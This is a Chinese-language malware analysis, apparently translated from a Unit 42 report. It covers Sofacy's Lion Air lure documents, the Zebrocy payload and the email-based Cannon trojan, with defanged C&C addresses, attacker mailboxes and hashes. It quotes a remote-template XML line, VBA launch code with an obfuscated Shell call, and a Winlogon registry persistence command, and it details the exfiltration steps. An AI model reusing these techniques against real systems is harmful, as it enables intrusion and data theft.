使用郵件實現C&C通訊:新型木馬Cannon分析
一、概述
在2018年10月下旬和11月初,Unit 42監測到一系列武器化檔案,這些檔案使用了某種技術來載入包含惡意巨集的遠端模板。這種型別的武器化檔案其實並不罕見,但由於其具有模組化的特點,因此自動分析系統很難將其識別為惡意文件。針對這種技術而言,如果C&C伺服器在程式碼執行時不可用,那麼則無法檢索到惡意程式碼,從而導致該文件基本上被判斷為良性的。
這一武器化檔案的目標是全球範圍內的幾個政府實體,包括北美、歐洲和前蘇聯國家。對我們來說幸運的是,其中幾個文件中包含的C&C伺服器仍在正常執行,允許我們檢視惡意巨集和後續Payload。經過分析,發現其中一部分文件的第一階段Payload與Zebrocy木馬一致。但此次發現了額外的一些文件,其中包含新型的第一階段Payload,我們將其命名為Cannon。此前,我們從未觀察到Cannon被Sofacy惡意組織使用。並且,Cannon中包含一個新型的C&C通訊方式,該通訊是基於電子郵件。儘管以電子郵件進行C&C通訊並不是一種新方法,但一般不會像HTTP或HTTPS方式那樣頻繁地被使用。使用電子郵件進行C&C通訊,也會降低被檢測到的概率,因為在許多企業中,並沒有將“向未知域名傳送電子郵件”加入到可疑事件的範圍中。
我們已經收集到大量武器化文件,本文將對其中的兩個文件進行重點分析。這兩個文件具有多個相同的特徵,例如使用了相同的C&C IP地址,具有相同的作者名稱和策略。其中一個文件的檔名非常值得關注:crash list(Lion Air Boeing 737).docx(墜毀清單-獅航波音737.docx)。可以看出,該惡意組織試圖利用災難性事件,吸引使用者的注意力,從而執行攻擊。
二、攻擊細節
我們捕獲到的初始樣本是一個Microsoft Word文件(SHA256:2cfc4b3686511f959f14889d26d3d9a0d06e27ee2bb54c9afb1ada6b8205c55f),其檔名為crash list(Lion Air Boeing 737).docx,作者名稱為Joohn。該文件試圖針對處理歐洲外交事務的政府組織進行魚叉式網路釣魚。一旦使用者嘗試開啟此文件,Microsoft Word將立即嘗試從DOCX文件settings.xml.rels檔案中指定位置載入包含惡意巨集和Payload的遠端模板,如下所示:
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="hxxp://188.241.58[.]170/live/owa/office.dotm" TargetMode="External"/>
如果C&C已經離線,文件仍然會開啟,但Word將無法檢索遠端模板,因此Word也無法載入巨集。在這種情況下,Word將向受害者呈現出相同的誘餌文件,如下圖所示,但無法通過“啟用內容”按鈕啟用巨集。如果C&C仍然線上,Word將會載入遠端模板(SHA256:f1e2bceae81ccd54777f7862c616f22b581b47e0dda5cb02d0a722168ef194a5),並向用戶顯示下圖所示的內容。
一旦受害者點選“啟用內容”按鈕,就會執行嵌入式巨集。在巨集中,使用了不太常見的AutoClose函式。這是一種反分析的手段,因為在使用者關閉文件之前,Word並不會完全執行惡意程式碼,所以如果自動化沙箱退出了分析會話而沒有特意關閉文件,那麼就無法捕捉到惡意活動。在巨集成功執行後,將安裝Payload,並將一個文件儲存到系統。通常,我們見到的都是將一個誘餌檔案儲存到系統中,然後顯示,從而使受害者不會懷疑存在惡意活動。但是,該木馬儲存的檔案並沒有顯示,並且也不包含與獅航空難相關的任何內容。巨集從儲存為UserForm1.Label1.Caption的文件中獲取要儲存到系統中的文件,並將其寫入到如下位置:
%TEMP%\~temp.docm
巨集從儲存為UserForm1.Label2.Caption的文件中,獲取要投放到系統上的Payload,並將其寫入到如下位置:
巨集通過載入~temp.docm文件,並在其嵌入式巨集中呼叫函式來執行Payload,這是一種獨特的執行Payload的方式。我們認為,該文件的建立者之所以選擇從投放的檔案中執行Payload,是為了逃避防護軟體的監測。此外,初始的巨集使用這一投放的文件來執行Payload的事實,也解釋了為什麼文件中不包含任何誘餌內容。
為了執行這一功能,在將~temp.docm和~msdndn.exe檔案寫入系統後,初始巨集將~temp.docm檔案作為Word文件物件載入,並嘗試在~temp.docm檔案的Module1巨集中執行函式Proc1,其程式碼如下:
Set WA = CreateObject("Word.Application") WA.Visible = False Set oMyDoc = WA.Documents.Open(vF) WA.Application.Run "Module1.Proc1"
Module1中的Proc1函式只是為已投放的Payload建立%APPDATA%MSDN~msdn.exe路徑,並使用內建的Shell函式來執行,其程式碼如下:
vAdd = "~msdn" vFileName = Environ("APPDATA") & "MSDN" vFileName = vFileName + vAdd & ".e" + "x" & "e" Shell vFileName
投放到系統的Payload(SHA256:6ad3eb8b5622145a70bec67b3d14868a1c13864864afd651fe70689c95b1399a)是以Delphi語言編寫而成,並經過UPX加殼,實際上是Zebrocy的一個變種。Zebrocy的這一變種在功能上,非常類似於我們在今年早些時候發現Sofacy組織使用的Zebrocy中的Payload。這一Payload使用以下URL進行C&C通訊:
hxxp://188.241.58[.]170/local/s3/filters.php
Zebrocy木馬會收集系統上的特定資訊,通過HTTP POST請求傳送到C&C伺服器(也就是上述URL)。與其他Zebrocy樣本一樣,這一木馬通過在命令列上執行SYSTEMINFO和TASKLIST,並通過遍歷已連線的儲存裝置,來收集系統的特定資訊,隨後傳送到C&C伺服器。這一變種還會將被感染主機的螢幕截圖,以JPEG影象的格式傳送到C&C伺服器上。然後,C&C伺服器將以ASCII十六進位制的形式,向信標提供輔助的Payload,木馬會對其進行解碼,並將解碼後的內容寫入如下位置:
%APPDATA%\RoamingAudiosoundfix.exe
在我們的分析過程中,發現C&C伺服器還提供了一個輔助的Payload(SHA256:d18d909ee3eb65dfd49925853553c87f7fd8a40e7cebb0f342e43e0c1fbab7d7),其功能與最初的Zebrocy樣本相似。輔助Payload也是使用Delphi語言編寫,它是通過HTTPS協議訪問以下URL,實現與C&C伺服器的通訊:
hxxps://200.122.181[.]25/catalog/products/books.php
三、新型Cannon木馬分析
Cannon木馬是以C#語言編寫的,主要用作下載工具,以電子郵件的方式與C&C伺服器進行通訊。為了實現與C&C伺服器的通訊,木馬通過TCP/587埠使用SMTPS協議向特定郵箱傳送電子郵件。該工具按照特定順序,執行以下功能:
1、收集系統資訊和螢幕截圖;
2、通過郵件方式,將收集的資訊傳送給惡意運營者;
3、檢查收件箱中是否存在包含Payload的電子郵件;
4、下載電子郵件附件中的Payload;
5、執行下載的Payload。
實現上述活動的函式共有7個,具體如下。
3.1 start_Tick
該函式將字串{SysPar = 65}寫入名為s.txt的檔案,這一檔案將在木馬與C&C伺服器的通訊過程中使用。此外,該函式還會將以下內容寫入r.bat並執行該指令碼,從而新增永續性:
REG ADD “HKCUSoftwareMicrosoftWindows NTCurrentVersionWinlogon” /v Shell /t REG_SZ /d [path to wsslc.exe]
這一函式還會建立一個唯一的系統識別符號,該識別符號在C&C通訊期間用於傳送和接收資訊。系統識別符號使用C盤的序列號和Environment.UserName的前4個十六進位制位元組,生成16個字元的字串。完成上述工作後,start_Tick函式啟動計時器,並執行inf_Tick方法。
3.2 inf_Tick
該函式負責收集系統資訊,並將其儲存到i.ini檔案中,其收集資訊如下:
Application.ExecutablePath
Environment.OSVersion
Environment.SystemDirectory
Environment.UserDomainName
Environment.MachineName
Environment.UserName
TimeZone.CurrentTimeZone.StandardName
Environment.TickCount
DriveInfo.GetDrives() – Name,VolumeLabel,DriveFormat,DriveType,TotalSize,AvailableFreeSpace,Serial number
Folders in C:Program Files
Folders in C:Program Files (x86)
Process.GetProcesses
它將使用上述身份驗證憑據登入SMTP伺服器,並將i.ini檔案傳送到C&C郵箱。然後,inf_Tick函式啟動計時器,並執行screen_Tick方法。
3.3 screen_Tick
該函式獲取桌面的螢幕截圖,並將其儲存到名為sysscr.ops的檔案中。它使用上述身份驗證憑據登入SMTP伺服器,並將sysscr.ops檔案傳送到C&C郵箱中。然後,screen_Tick函式啟動計時器,並執行txt_Tick方法。
3.4 txt_Tick
木馬將嘗試使用trala.cosh2[at]post.cz帳戶,以POP3S的方式登入pop.seznam[.]cz。如果成功,木馬將遍歷收件箱中的郵件,查詢與唯一系統識別符號匹配的任何電子郵件。如果存在,則將郵件的正文作為十六進位制格式,儲存到load_Tick函式將使用的變數中。木馬會在閱讀和處理郵件後,刪除該電子郵件。
如果木馬已經從電子郵件中獲取了文字,它將使用上述身份驗證憑據登入SMTP伺服器,將s.txt檔案傳送到C&C郵箱。然後,txt_Tick函式啟動計時器,並執行load_Tick方法。
3.5 load_Tick
該函式首先針對從txt_Tick函式中獲取的文字,刪除其中所有的“B&”和“Db”內容。然後,以%字元來分割剩餘的文字,將其左側的內容視為帳戶名,其右側的內容視為密碼。木馬使用這些憑據,通過POP3S登入pop.seznam[.]cz的另一個郵箱帳戶,並檢查以唯一系統識別符號為主題的電子郵件。一旦發現匹配,木馬將獲取該郵件的附件,將名稱中包含字串auddevc的所有附件儲存到系統中,也就是下載名為auddevc.txt的檔案。此外,木馬將會建立一個名為l.txt的檔案,並將字串090寫入其中。
如果成功獲取該檔案,該函式將使用上述身份驗證憑據登入SMTP伺服器,並將l.txt檔案傳送到C&C電子郵件地址。然後,load_Tick函式啟動計時器,並執行subject_Tick方法。
3.6 subject_Tick
該函式在功能上與txt_Tick函式非常相似,嘗試使用trala.cosh2[at]post.cz帳戶,以POP3S的方式登入pop.seznam[.]cz,在收件箱中再次查詢與唯一系統識別符號匹配的電子郵件。如果存在,則將郵件的正文作為十六進位制格式,儲存到run_Tick函式將使用的變數中,其內容應該是攻擊者希望將load_Tick函式中儲存的檔案移動到的路徑(也是執行路徑)。
如果木馬已經從電子郵件中獲取了文字,它將使用上述身份驗證憑據登入SMTP伺服器,將s.txt檔案傳送到C&C郵箱。然後,subject_Tick函式啟動計時器,並執行run_Tick方法。
3.7 run_Tick
該函式首先嚐試在從subject_Tick函式獲取到的路徑中建立目錄,然後嘗試將load_Tick函式中下載的auddevc.txt檔案移動到新建立的目錄中。如果成功,該函式會使用上述身份驗證憑據登入SMTP伺服器,將I.txt檔案傳送到C&C郵箱。
然後,該函式嘗試針對移動後的檔案建立程序。如果能夠成功執行下載的檔案,它將使用上述身份驗證憑據登入SMTP伺服器,將s.txt檔案傳送到C&C郵箱。然後,會在退出之前刪除sysscr.ops螢幕截圖檔案和i.ini系統資訊檔案。
四、新型Cannon木馬通訊過程
我們能從crash list(Lion Air Boeing 737).docx文件以及用於託管其遠端模板的188.241.58[.]170 C&C IP上找到Joohn為作者的第二個文件。從結構上來看,這一文件與第一個文件非常相似,但實際上它所附帶的Payload是一個全新的惡意木馬,我們將其命名為Cannon。
該工具是以C#語言編寫而成的,惡意程式碼存在於名為cannon的名稱空間中,我們由此進行了木馬的命名。該木馬主要用於下載程式,並通過電子郵件實現木馬與C&C伺服器的通訊。為了與C&C伺服器進行通訊,該木馬將通過TCP/587埠使用SMTPS協議向特定電子郵件地址傳送郵件。Cannon木馬的功能如下表所示,該木馬高度依賴帶有計時器的EventHandler來按照特定順序執行其方法,並且以此來增強其逃避檢測的能力。
Cannon的最終目的,是使用多個電子郵件帳戶,向惡意活動運營者傳送系統資料(系統資訊和螢幕截圖),並從指定的電子郵件中獲取Payload。下圖展現了Cannon是如何與惡意運營者控制的C&C電子郵件地址進行通訊以獲得輔助Payload的:
1、Cannon收集系統資訊,並將其儲存到ini檔案中。該木馬傳送電子郵件到sahro.bella7[at]post.cz,並將i.ini檔案作為附件,將S_inf作為正文,將唯一系統識別符號作為標題,該郵件使用SMTPS協議從以下帳戶之一發送:
Bishtr.cam47
Lobrek.chizh
Cervot.woprov
2、Cannon獲取螢幕截圖,並將其儲存到ops檔案中。該木馬傳送電子郵件到sahro.bella7[at]post.cz,並將sysscr.ops檔案作為附件,將Screen字串作為正文,將唯一系統識別符號作為標題,並使用SMTPS協議從上述帳戶之一發送。
3、攻擊者可能會登入sahro.bella7[at]post.cz郵箱,並處理木馬傳送的系統資訊和螢幕截圖,從而確定對被感染的主機是否感興趣。如果攻擊者希望向被感染主機發送額外的Payload,他們會通過以下步驟傳送電子郵件。
4、攻擊者傳送電子郵件到trala.cosh2[at]post.cz,以系統識別符號作為標題,並在正文中包含第二個郵箱和ASCII十六進位制格式的憑據。
5、攻擊者向第二個郵箱傳送一封郵件,以系統識別符號作為標題,將輔助Payload的檔名新增txt字尾,作為附件傳送。
6、Cannon通過POP3S登入trala.cosh2[at]post.cz帳戶,查詢標題與唯一系統識別符號匹配的電子郵件。Cannon將開啟標題相符的電子郵件,並解碼郵件正文中的十六進位制資料,以獲取第二個郵箱。
7、Cannon通過向sahro.bella7[at]post.cz傳送電子郵件來確認已經收到第二個郵箱地址,並以s.txt(包含{SysPar = 65}字串)作為附件,正文中包含唯一的系統識別符號,該郵件使用SMTPS協議從步驟1所使用的三個帳戶之一發出。
8、攻擊者傳送電子郵件到trala.cosh2[at]post.cz,以唯一的系統識別符號為標題,其中包含用於儲存輔助Payload的檔案路徑。
9、Cannon通過POP3S登入第二個郵箱,查詢標題與唯一系統識別符號匹配的電子郵件,開啟該郵件,並儲存名為auddevc.txt的附件。
10、Cannon通過向sahro.bella7[at]post.cz傳送電子郵件來確認檔案已經下載,其中l.txt(包含090字串)作為附件,正文中包含ok2,標題是唯一的系統識別符號,該郵件使用SMTPS協議從步驟1所使用的三個帳戶之一發出。
11、Cannon通過POP3S登入trala.cosh2[at]post.cz帳戶,查詢標題與唯一系統識別符號匹配的電子郵件,開啟該郵件,並解碼正文中的十六進位制資料,以獲取用於儲存auddevc.txt的檔案路徑。
12、Cannon通過向sahro.bella7[at]post.cz傳送電子郵件來確認檔案已經下載,其中l.txt(包含{SysPar = 65}字串)作為附件,正文中包含ok3,標題是唯一的系統識別符號,該郵件使用SMTPS協議從步驟1所使用的三個帳戶之一發出。
13、Cannon將下載的檔案移動到指定的路徑。
14、Cannon通過向sahro.bella7[at]post.cz傳送電子郵件來確認檔案已經下載,其中l.txt(包含090字串)作為附件,正文中包含ok4,標題是唯一的系統識別符號,該郵件使用SMTPS協議從步驟1所使用的三個帳戶之一發出。
15、Cannon從指定的路徑執行下載的檔案。
16、Cannon通過向sahro.bella7[at]post.cz傳送電子郵件來確認已經成功執行,並以s.txt(包含{SysPar = 65}字串)作為附件,正文中包含ok5,該郵件使用SMTPS協議從步驟1所使用的三個帳戶之一發出。
五、總結
Sofacy將目標持續瞄準歐盟、美國和前蘇聯國家的政府組織,並且使用Zebrocy木馬作為Payload。在這些攻擊中,用於安裝Zebrocy的承載文件使用了遠端模板,從而增加了對攻擊行為進行分析的難度。Sofacy組織還利用最近的獅航空難作為其中一次攻擊的誘餌,這種攻擊方式展現出了他們持續利用社會工程學的傾向。
值得注意的是,我們還發現Sofacy組織使用非常相似的承載文件,提供一個名為Cannon的新型木馬。與使用基於HTTP或HTTPS方式與C&C伺服器通訊的Zebrocy相比,Cannon使用SMTPS和POP3S作為其C&C通道。儘管這不是一種新的策略,但顯然這種方法更能有效地逃避檢測,因為所涉及的外部主機是合法的電子郵件服務提供商。攻擊者利用了加密的SMTPS和POP3S協議,同時還利用了合法的Web服務,這樣一來,對 C&C通訊的阻止就變得非常困難。
六、IoC
運載文件雜湊值:
2cfc4b3686511f959f14889d26d3d9a0d06e27ee2bb54c9afb1ada6b8205c55f
af77e845f1b0a3ae32cb5cfa53ff22cc9dae883f05200e18ad8e10d7a8106392
遠端模板雜湊值:
f1e2bceae81ccd54777f7862c616f22b581b47e0dda5cb02d0a722168ef194a5
fc69fb278e12fc7f9c49a020eff9f84c58b71e680a9e18f78d4e6540693f557d
遠端模板位置:
hxxp://188.241.58[.]170/live/owa/office.dotm
Zebrocy雜湊值:
6ad3eb8b5622145a70bec67b3d14868a1c13864864afd651fe70689c95b1399a
Zebrocy C&C URL:
hxxp://188.241.58[.]170/local/s3/filters.php
hxxps://200.122.181[.]25/catalog/products/books.php
Cannon雜湊值:
61a1f3b4fb4dbd2877c91e81db4b1af8395547eab199bf920e9dd11a1127221e
Cannon電子郵件帳戶:
sahro.bella7[at]post.cz
trala.cosh2[at]post.cz
bishtr.cam47[at]post.cz
lobrek.chizh[at]post.cz
cervot.woprov[at]post.cz